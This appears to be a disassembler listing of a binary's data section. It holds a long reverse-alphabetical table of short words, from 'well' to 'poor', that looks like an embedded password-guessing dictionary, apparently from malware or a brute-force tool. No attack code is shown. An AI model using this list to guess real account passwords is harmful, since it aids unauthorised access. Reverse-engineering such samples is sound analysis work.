aWell		db 'well',0             ; DATA XREF: ___:00431094o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: ___:00431090o
		align 4
aWeed		db 'weed',0             ; DATA XREF: ___:0043108Co
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: ___:00431088o
		align 10h
aWebpage	db 'webpage',0          ; DATA XREF: ___:00431084o
aWave		db 'wave',0             ; DATA XREF: ___:00431080o
		align 10h
aWater		db 'water',0            ; DATA XREF: ___:0043107Co
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: ___:00431078o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: ___:00431074o
		align 4
aWarren		db 'warren',0           ; DATA XREF: ___:00431070o
		align 4
aWarp		db 'warp',0             ; DATA XREF: ___:0043106Co
		align 4
aWargames	db 'wargames',0         ; DATA XREF: ___:00431068o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: ___:00431064o
aWarez		db 'warez',0            ; DATA XREF: ___:00431060o
		align 4
aWard		db 'ward',0             ; DATA XREF: ___:0043105Co
		align 10h
aWaco		db 'waco',0             ; DATA XREF: ___:00431058o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: ___:00431054o
		align 10h
aVisualba	db 'visualba',0         ; DATA XREF: ___:00431050o
		align 4
aVisual		db 'visual',0           ; DATA XREF: ___:0043104Co
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: ___:00431048o
aVirus		db 'virus',0            ; DATA XREF: ___:00431044o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: ___:00431040o
		align 10h
aVirgin		db 'virgin',0           ; DATA XREF: ___:0043103Co
		align 4
aVillage	db 'village',0          ; DATA XREF: ___:00431038o
aVideogam	db 'videogam',0         ; DATA XREF: ___:00431034o
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_40EE72:loc_4135A0o
					; ___:00431030o
		align 4
aVictor		db 'victor',0           ; DATA XREF: ___:0043102Co
		align 4
aVicky		db 'vicky',0            ; DATA XREF: ___:00431028o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: ___:00431024o
aVeronica	db 'veronica',0         ; DATA XREF: ___:00431020o
		align 4
aVenus		db 'venus',0            ; DATA XREF: ___:0043101Co
		align 10h
aVasant		db 'vasant',0           ; DATA XREF: ___:00431018o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: ___:00431014o
aValerie	db 'valerie',0          ; DATA XREF: ___:00431010o
aVagina		db 'vagina',0           ; DATA XREF: ___:0043100Co
		align 10h
aUucp		db 'uucp',0             ; DATA XREF: ___:00431008o
		align 4
aUtility	db 'utility',0          ; DATA XREF: ___:00431004o
aUtil		db 'util',0             ; DATA XREF: ___:00431000o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: ___:00430FFCo
		align 10h
aUsername	db 'username',0         ; DATA XREF: ___:00430FF8o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: ___:00430FF4o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: ___:00430FF0o
		align 10h
aUrsula		db 'ursula',0           ; DATA XREF: ___:00430FECo
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: ___:00430FE8o
		align 10h
aUranus		db 'uranus',0           ; DATA XREF: ___:00430FE4o
		align 4
aUpload		db 'upload',0           ; DATA XREF: ___:00430FE0o
		align 10h
aUnlock		db 'unlock',0           ; DATA XREF: ___:00430FDCo
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: ___:00430FD8o
aUniversi	db 'universi',0         ; DATA XREF: ___:00430FD4o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: ___:00430FD0o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: ___:00430FCCo
		align 4
aUniform	db 'uniform',0          ; DATA XREF: ___:00430FC8o
aUnicorn	db 'unicorn',0          ; DATA XREF: ___:00430FC4o
aUnhappy	db 'unhappy',0          ; DATA XREF: ___:00430FC0o
aUndo		db 'undo',0             ; DATA XREF: ___:00430FBCo
		align 4
aUncle		db 'uncle',0            ; DATA XREF: ___:00430FB8o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: ___:00430FB4o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: ___:00430FB0o
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: ___:00430FACo
		align 4
aTurn		db 'turn',0             ; DATA XREF: ___:00430FA8o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: ___:00430FA4o
aTubas		db 'tubas',0            ; DATA XREF: ___:00430FA0o
		align 4
aTruth		db 'truth',0            ; DATA XREF: ___:00430F9Co
		align 4
aTrue		db 'true',0             ; DATA XREF: ___:00430F98o
		align 4
aTron		db 'tron',0             ; DATA XREF: ___:00430F94o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: ___:00430F90o
		align 10h
aTrojan		db 'trojan',0           ; DATA XREF: ___:00430F8Co
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: ___:00430F88o
aTrisha		db 'trisha',0           ; DATA XREF: ___:00430F84o
		align 4
aTrek		db 'trek',0             ; DATA XREF: ___:00430F80o
		align 10h
aTree		db 'tree',0             ; DATA XREF: ___:00430F7Co
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: ___:00430F78o
		align 4
aTrap		db 'trap',0             ; DATA XREF: ___:00430F74o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: ___:00430F70o
		align 4
aTrails		db 'trails',0           ; DATA XREF: ___:00430F6Co
		align 10h
aTracy		db 'tracy',0            ; DATA XREF: ___:00430F68o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: ___:00430F64o
		align 10h
aTraci		db 'traci',0            ; DATA XREF: ___:00430F60o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: ___:00430F5Co
		align 10h
aToxic		db 'toxic',0            ; DATA XREF: ___:00430F58o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: ___:00430F54o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: ___:00430F50o
		align 10h
aTomato		db 'tomato',0           ; DATA XREF: ___:00430F4Co
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: ___:00430F48o
		align 4
aToken		db 'token',0            ; DATA XREF: ___:00430F44o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: ___:00430F40o
		align 4
aToad		db 'toad',0             ; DATA XREF: ___:00430F3Co
		align 4
aTits		db 'tits',0             ; DATA XREF: ___:00430F38o
		align 4
aTina		db 'tina',0             ; DATA XREF: ___:00430F34o
		align 4
aTime		db 'time',0             ; DATA XREF: ___:00430F30o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: ___:00430F2Co
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: ___:00430F28o
aThursday	db 'thursday',0         ; DATA XREF: ___:00430F24o
		align 10h
aThin		db 'thin',0             ; DATA XREF: ___:00430F20o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: ___:00430F1Co
aThailand	db 'thailand',0         ; DATA XREF: ___:00430F18o
		align 4
aText		db 'text',0             ; DATA XREF: ___:00430F14o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: ___:00430F10o
		align 4
aTess		db 'tess',0             ; DATA XREF: ___:00430F0Co
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: ___:00430F08o
		align 10h
aTerminal	db 'terminal',0         ; DATA XREF: ___:00430F04o
		align 4
aTera		db 'tera',0             ; DATA XREF: ___:00430F00o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: ___:00430EFCo
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: ___:00430EF8o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: ___:00430EF4o
		align 10h
aTelephon	db 'telephon',0         ; DATA XREF: ___:00430EF0o
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: ___:00430EECo
aTeen		db 'teen',0             ; DATA XREF: ___:00430EE8o
		align 4
aTech		db 'tech',0             ; DATA XREF: ___:00430EE4o
		align 4
aTears		db 'tears',0            ; DATA XREF: ___:00430EE0o
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: ___:00430EDCo
		align 4
aTeam		db 'team',0             ; DATA XREF: ___:00430ED8o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: ___:00430ED0o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: ___:00430ECCo
		align 10h
aTarget		db 'target',0           ; DATA XREF: ___:00430EC8o
		align 4
aTara		db 'tara',0             ; DATA XREF: ___:00430EC4o
		align 10h
aTape		db 'tape',0             ; DATA XREF: ___:00430EC0o
		align 4
aTango		db 'tango',0            ; DATA XREF: ___:00430EBCo
		align 10h
aTangerin	db 'tangerin',0         ; DATA XREF: ___:00430EB8o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: ___:00430EB4o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: ___:00430EB0o
		align 4
aTami		db 'tami',0             ; DATA XREF: ___:00430EACo
		align 4
aTamara		db 'tamara',0           ; DATA XREF: ___:00430EA8o
		align 4
aTall		db 'tall',0             ; DATA XREF: ___:00430EA4o
		align 4
aTalk		db 'talk',0             ; DATA XREF: ___:00430EA0o
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: ___:00430E9Co
aSysop		db 'sysop',0            ; DATA XREF: ___:00430E98o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: ___:00430E94o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: ___:00430E90o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: ___:00430E8Co
		align 4
aSword		db 'sword',0            ; DATA XREF: ___:00430E88o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: ___:00430E84o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: ___:00430E80o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: ___:00430E7Co
aSuzie		db 'suzie',0            ; DATA XREF: ___:00430E78o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: ___:00430E74o
aSusie		db 'susie',0            ; DATA XREF: ___:00430E70o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: ___:00430E6Co
aSusan		db 'susan',0            ; DATA XREF: ___:00430E68o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: ___:00430E64o
aSurfer		db 'surfer',0           ; DATA XREF: ___:00430E60o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: ___:00430E5Co
		align 10h
aSupport	db 'support',0          ; DATA XREF: ___:00430E58o
aSupervis	db 'supervis',0         ; DATA XREF: ___:00430E54o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: ___:00430E50o
		align 10h
aSupersta	db 'supersta',0         ; DATA XREF: ___:00430E4Co
		align 4
aSuperson	db 'superson',0         ; DATA XREF: ___:00430E48o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: ___:00430E44o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: ___:00430E40o
		align 4
aSummer		db 'summer',0           ; DATA XREF: ___:00430E3Co
		align 4
aSucks		db 'sucks',0            ; DATA XREF: ___:00430E38o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: ___:00430E34o
		align 4
aSuck		db 'suck',0             ; DATA XREF: ___:00430E30o
		align 10h
aSuccess	db 'success',0          ; DATA XREF: ___:00430E2Co
aSubway		db 'subway',0           ; DATA XREF: ___:00430E28o
		align 10h
aSubscrib	db 'subscrib',0         ; DATA XREF: ___:00430E24o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: ___:00430E20o
		align 4
aStrip		db 'strip',0            ; DATA XREF: ___:00430E18o
		align 10h
aString		db 'string',0           ; DATA XREF: ___:00430E14o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: ___:00430E10o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: ___:00430E0Co
		align 10h
aStrangle	db 'strangle',0         ; DATA XREF: ___:00430E08o
		align 4
aStrange	db 'strange',0          ; DATA XREF: ___:00430E04o
aStones		db 'stones',0           ; DATA XREF: ___:00430E00o
		align 4
aStoned		db 'stoned',0           ; DATA XREF: ___:00430DFCo
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: ___:00430DF8o
		align 10h
aSteve		db 'steve',0            ; DATA XREF: ___:00430DF4o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: ___:00430DF0o
		align 10h
aStephani	db 'stephani',0         ; DATA XREF: ___:00430DECo
		align 4
aSteph		db 'steph',0            ; DATA XREF: ___:00430DE8o
		align 4
aSteel		db 'steel',0            ; DATA XREF: ___:00430DE4o
		align 4
aSteal		db 'steal',0            ; DATA XREF: ___:00430DE0o
		align 4
aSteak		db 'steak',0            ; DATA XREF: ___:00430DDCo
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: ___:00430DD8o
		align 4
aStartup	db 'startup',0          ; DATA XREF: ___:00430DD4o
aStartrek	db 'startrek',0         ; DATA XREF: ___:00430DD0o
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40EE72+2069o
					; ___:00430DCCo
		align 4
aStarship	db 'starship',0         ; DATA XREF: ___:00430DC8o
		align 10h
aStar		db 'star',0             ; DATA XREF: ___:00430DC4o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: ___:00430DC0o
		align 10h
aStacie		db 'stacie',0           ; DATA XREF: ___:00430DBCo
		align 4
aStaci		db 'staci',0            ; DATA XREF: ___:00430DB8o
		align 10h
aStacey		db 'stacey',0           ; DATA XREF: ___:00430DB4o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: ___:00430DB0o
		align 10h
aSquires	db 'squires',0          ; DATA XREF: ___:00430DACo
aSpunk		db 'spunk',0            ; DATA XREF: ___:00430DA8o
		align 10h
aSpringer	db 'springer',0         ; DATA XREF: ___:00430DA4o
		align 4
aSpring		db 'spring',0           ; DATA XREF: ___:00430DA0o
		align 4
aSpred		db 'spred',0            ; DATA XREF: ___:00430D9Co
		align 4
aSpit		db 'spit',0             ; DATA XREF: ___:00430D98o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: ___:00430D94o
		align 10h
aSpider		db 'spider',0           ; DATA XREF: ___:00430D90o
		align 4
aSpice		db 'spice',0            ; DATA XREF: ___:00430D8Co
		align 10h
aSpell		db 'spell',0            ; DATA XREF: ___:00430D88o
		align 4
aSpear		db 'spear',0            ; DATA XREF: ___:00430D84o
		align 10h
aSparrows	db 'sparrows',0         ; DATA XREF: ___:00430D80o
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: ___:00430D7Co
		align 4
aSouth		db 'south',0            ; DATA XREF: ___:00430D78o
		align 10h
aSource		db 'source',0           ; DATA XREF: ___:00430D74o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: ___:00430D70o
aSonya		db 'sonya',0            ; DATA XREF: ___:00430D6Co
		align 4
aSonic		db 'sonic',0            ; DATA XREF: ___:00430D68o
		align 10h
aSonia		db 'sonia',0            ; DATA XREF: ___:00430D64o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: ___:00430D60o
		align 10h
aSomebody	db 'somebody',0         ; DATA XREF: ___:00430D5Co
		align 4
aSoftware	db 'software',0         ; DATA XREF: ___:00430D58o
		align 4
aSoft		db 'soft',0             ; DATA XREF: ___:00430D54o
		align 10h
aSodomy		db 'sodomy',0           ; DATA XREF: ___:00430D50o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: ___:00430D4Co
		align 4
aSocial		db 'social',0           ; DATA XREF: ___:00430D48o
		align 4
aSoap		db 'soap',0             ; DATA XREF: ___:00430D44o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: ___:00430D40o
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: ___:00430D3Co
		align 4
aSnake		db 'snake',0            ; DATA XREF: ___:00430D38o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: ___:00430D34o
		align 4
aSnach		db 'snach',0            ; DATA XREF: ___:00430D30o
		align 4
aSmut		db 'smut',0             ; DATA XREF: ___:00430D2Co
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: ___:00430D28o
		align 4
aSmother	db 'smother',0          ; DATA XREF: ___:00430D24o
aSmooch		db 'smooch',0           ; DATA XREF: ___:00430D20o
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: ___:00430D1Co
		align 4
aSmile		db 'smile',0            ; DATA XREF: ___:00430D18o
		align 4
aSmart		db 'smart',0            ; DATA XREF: ___:00430D14o
		align 4
aSmall		db 'small',0            ; DATA XREF: ___:00430D10o
		align 4
aSlut		db 'slut',0             ; DATA XREF: ___:00430D0Co
		align 4
aSlow		db 'slow',0             ; DATA XREF: ___:00430D08o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: ___:00430D04o
aSlick		db 'slick',0            ; DATA XREF: ___:00430D00o
		align 4
aSlave		db 'slave',0            ; DATA XREF: ___:00430CFCo
		align 4
aSkull		db 'skull',0            ; DATA XREF: ___:00430CF8o
		align 4
aSite		db 'site',0             ; DATA XREF: ___:00430CF4o
		align 4
aSingle		db 'single',0           ; DATA XREF: ___:00430CF0o
		align 4
aSinger		db 'singer',0           ; DATA XREF: ___:00430CECo
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: ___:00430CE8o
		align 10h
aSimpsons	db 'simpsons',0         ; DATA XREF: ___:00430CE4o
		align 4
aSimple		db 'simple',0           ; DATA XREF: ___:00430CE0o
		align 4
aSimon		db 'simon',0            ; DATA XREF: ___:00430CDCo
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: ___:00430CD8o
aSilver		db 'silver',0           ; DATA XREF: ___:00430CD4o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: ___:00430CD0o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: ___:00430CCCo
		align 10h
aSick		db 'sick',0             ; DATA XREF: ___:00430CC8o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: ___:00430CC4o
aShort		db 'short',0            ; DATA XREF: ___:00430CC0o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: ___:00430CBCo
aShiva		db 'shiva',0            ; DATA XREF: ___:00430CB8o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: ___:00430CB4o
aShit		db 'shit',0             ; DATA XREF: ___:00430CB0o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: ___:00430CACo
aShift		db 'shift',0            ; DATA XREF: ___:00430CA8o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: ___:00430CA4o
		align 10h
aShell		db 'shell',0            ; DATA XREF: ___:00430CA0o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: ___:00430C9Co
aSheffiel	db 'sheffiel',0         ; DATA XREF: ___:00430C98o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: ___:00430C94o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: ___:00430C90o
		align 4
aShark		db 'shark',0            ; DATA XREF: ___:00430C8Co
		align 4
aSharc		db 'sharc',0            ; DATA XREF: ___:00430C88o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: ___:00430C84o
aSexy		db 'sexy',0             ; DATA XREF: ___:00430C80o
		align 4
aSesame		db 'sesame',0           ; DATA XREF: ___:00430C7Co
		align 4
aService	db 'service',0          ; DATA XREF: ___:00430C78o
aSerial_0	db 'serial',0           ; DATA XREF: ___:00430C74o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: ___:00430C70o
		align 10h
aSentry		db 'sentry',0           ; DATA XREF: ___:00430C6Co
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: ___:00430C68o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: ___:00430C64o
		align 4
aSega		db 'sega',0             ; DATA XREF: ___:00430C60o
		align 4
aSeed		db 'seed',0             ; DATA XREF: ___:00430C5Co
		align 4
aSecurity	db 'security',0         ; DATA XREF: ___:00430C58o
		align 4
aSearch		db 'search',0           ; DATA XREF: ___:00430C54o
		align 10h
aScout		db 'scout',0            ; DATA XREF: ___:00430C50o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: ___:00430C4Co
		align 10h
aScott		db 'scott',0            ; DATA XREF: ___:00430C48o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: ___:00430C44o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: ___:00430C40o
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: ___:00430C3Co
aSchool		db 'school',0           ; DATA XREF: ___:00430C38o
		align 10h
aScheme		db 'scheme',0           ; DATA XREF: ___:00430C34o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: ___:00430C30o
aSaxon		db 'saxon',0            ; DATA XREF: ___:00430C2Co
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: ___:00430C28o
		align 10h
aSaturday	db 'saturday',0         ; DATA XREF: ___:00430C24o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: ___:00430C20o
		align 4
aSara		db 'sara',0             ; DATA XREF: ___:00430C1Co
		align 4
aSandy		db 'sandy',0            ; DATA XREF: ___:00430C18o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: ___:00430C14o
		align 4
aSample		db 'sample',0           ; DATA XREF: ___:00430C10o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: ___:00430C0Co
		align 10h
aSalt		db 'salt',0             ; DATA XREF: ___:00430C08o
		align 4
aSale		db 'sale',0             ; DATA XREF: ___:00430C04o
		align 10h
aSalami		db 'salami',0           ; DATA XREF: ___:00430C00o
		align 4
aSafe		db 'safe',0             ; DATA XREF: ___:00430BFCo
		align 10h
aRuth		db 'ruth',0             ; DATA XREF: ___:00430BF8o
		align 4
aRush		db 'rush',0             ; DATA XREF: ___:00430BF4o
		align 10h
aRunning_0	db 'running',0          ; DATA XREF: ___:00430BF0o
aRules		db 'rules',0            ; DATA XREF: ___:00430BECo
		align 10h
aRude		db 'rude',0             ; DATA XREF: ___:00430BE8o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: ___:00430BE4o
		align 10h
aRuben		db 'ruben',0            ; DATA XREF: ___:00430BE0o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: ___:00430BDCo
		align 10h
aRough		db 'rough',0            ; DATA XREF: ___:00430BD8o
		align 4
aRoses		db 'roses',0            ; DATA XREF: ___:00430BD4o
		align 10h
aRosemary	db 'rosemary',0         ; DATA XREF: ___:00430BD0o
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: ___:00430BCCo
aRose		db 'rose',0             ; DATA XREF: ___:00430BC8o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: ___:00430BC4o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: ___:00430BC0o
aRomeo		db 'romeo',0            ; DATA XREF: ___:00430BBCo
		align 4
aRomano		db 'romano',0           ; DATA XREF: ___:00430BB8o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: ___:00430BB4o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: ___:00430BB0o
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: ___:00430BACo
		align 4
aRocky		db 'rocky',0            ; DATA XREF: ___:00430BA8o
		align 10h
aRock		db 'rock',0             ; DATA XREF: ___:00430BA4o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: ___:00430BA0o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: ___:00430B9Co
		align 10h
aRobyn		db 'robyn',0            ; DATA XREF: ___:00430B98o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: ___:00430B94o
		align 4
aRobot		db 'robot',0            ; DATA XREF: ___:00430B90o
		align 4
aRobin		db 'robin',0            ; DATA XREF: ___:00430B8Co
		align 4
aRobert		db 'robert',0           ; DATA XREF: ___:00430B88o
		align 4
aRoach		db 'roach',0            ; DATA XREF: ___:00430B84o
		align 4
aRisc		db 'risc',0             ; DATA XREF: ___:00430B80o
		align 4
aRipple		db 'ripple',0           ; DATA XREF: ___:00430B7Co
		align 4
aRiot		db 'riot',0             ; DATA XREF: ___:00430B78o
		align 4
aRing		db 'ring',0             ; DATA XREF: ___:00430B74o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: ___:00430B70o
		align 10h
aRight		db 'right',0            ; DATA XREF: ___:00430B6Co
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: ___:00430B68o
		align 4
aRick		db 'rick',0             ; DATA XREF: ___:00430B64o
		align 4
aRich		db 'rich',0             ; DATA XREF: ___:00430B60o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: ___:00430B5Co
		align 4
aReveal		db 'reveal',0           ; DATA XREF: ___:00430B58o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: ___:00430B54o
		align 10h
aRepublic	db 'republic',0         ; DATA XREF: ___:00430B50o
		align 4
aReport		db 'report',0           ; DATA XREF: ___:00430B4Co
		align 4
aRent		db 'rent',0             ; DATA XREF: ___:00430B48o
		align 4
aReno		db 'reno',0             ; DATA XREF: ___:00430B44o
		align 4
aRenee		db 'renee',0            ; DATA XREF: ___:00430B40o
		align 4
aRemote		db 'remote',0           ; DATA XREF: ___:00430B3Co
		align 4
aRelease	db 'release',0          ; DATA XREF: ___:00430B38o
aRegional	db 'regional',0         ; DATA XREF: ___:00430B34o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: ___:00430B30o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: ___:00430B2Co
aReddawn	db 'reddawn',0          ; DATA XREF: ___:00430B28o
aRecord		db 'record',0           ; DATA XREF: ___:00430B24o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: ___:00430B20o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: ___:00430B1Co
aRebal		db 'rebal',0            ; DATA XREF: ___:00430B18o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: ___:00430B14o
		align 4
aReam		db 'ream',0             ; DATA XREF: ___:00430B10o
		align 4
aReally		db 'really',0           ; DATA XREF: ___:00430B0Co
		align 4
aReality	db 'reality',0          ; DATA XREF: ___:00430B08o
aReagan		db 'reagan',0           ; DATA XREF: ___:00430B04o
		align 4
aRazor		db 'razor',0            ; DATA XREF: ___:00430B00o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: ___:00430AFCo
		align 4
aRape		db 'rape',0             ; DATA XREF: ___:00430AF8o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: ___:00430AF0o
aRaindrop	db 'raindrop',0         ; DATA XREF: ___:00430AECo
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: ___:00430AE8o
aRain		db 'rain',0             ; DATA XREF: ___:00430AE4o
		align 4
aRaid		db 'raid',0             ; DATA XREF: ___:00430AE0o
		align 10h
aRachmani	db 'rachmani',0         ; DATA XREF: ___:00430ADCo
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: ___:00430AD8o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: ___:00430AD4o
		align 10h
aRabbit		db 'rabbit',0           ; DATA XREF: ___:00430AD0o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00430ACCo
		align 10h
aQwert		db 'qwert',0            ; DATA XREF: ___:00430AC8o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: ___:00430AC4o
		align 10h
aPussy		db 'pussy',0            ; DATA XREF: ___:00430AC0o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: ___:00430ABCo
		align 10h
aPunk		db 'punk',0             ; DATA XREF: ___:00430AB8o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: ___:00430AB4o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: ___:00430AB0o
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: ___:00430AACo
aPuke		db 'puke',0             ; DATA XREF: ___:00430AA8o
		align 4
aPuck		db 'puck',0             ; DATA XREF: ___:00430AA4o
		align 4
aPublic		db 'public',0           ; DATA XREF: ___:00430AA0o
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: ___:00430A9Co
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: ___:00430A98o
		align 10h
aProtozoa	db 'protozoa',0         ; DATA XREF: ___:00430A94o
		align 4
aProtect	db 'protect',0          ; DATA XREF: ___:00430A90o
aPrompt		db 'prompt',0           ; DATA XREF: ___:00430A8Co
		align 4
aProgram	db 'program',0          ; DATA XREF: ___:00430A88o
aProfile	db 'profile',0          ; DATA XREF: ___:00430A84o
aProfesso	db 'professo',0         ; DATA XREF: ___:00430A80o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: ___:00430A7Co
		align 4
aProceed	db 'proceed',0          ; DATA XREF: ___:00430A78o
aPrivs		db 'privs',0            ; DATA XREF: ___:00430A74o
		align 4
aPrivate	db 'private',0          ; DATA XREF: ___:00430A70o
aPriv		db 'priv',0             ; DATA XREF: ___:00430A6Co
		align 4
aPrinter	db 'printer',0          ; DATA XREF: ___:00430A68o
aPrinceto	db 'princeto',0         ; DATA XREF: ___:00430A64o
		align 4
aPrince		db 'prince',0           ; DATA XREF: ___:00430A60o
		align 10h
aPresto		db 'presto',0           ; DATA XREF: ___:00430A5Co
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: ___:00430A58o
aPrecious	db 'precious',0         ; DATA XREF: ___:00430A54o
		align 4
aPraise		db 'praise',0           ; DATA XREF: ___:00430A50o
		align 4
aPower		db 'power',0            ; DATA XREF: ___:00430A4Co
		align 4
aPoster		db 'poster',0           ; DATA XREF: ___:00430A48o
		align 4
aPost		db 'post',0             ; DATA XREF: ___:00430A44o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: ___:00430A40o
aPorno		db 'porno',0            ; DATA XREF: ___:00430A3Co
		align 4
aPorn		db 'porn',0             ; DATA XREF: ___:00430A38o
		align 4
aPork		db 'pork',0             ; DATA XREF: ___:00430A34o
		align 4
aPoor		db 'poor',0             ; DATA XREF: ___:00430A30o
		align 4
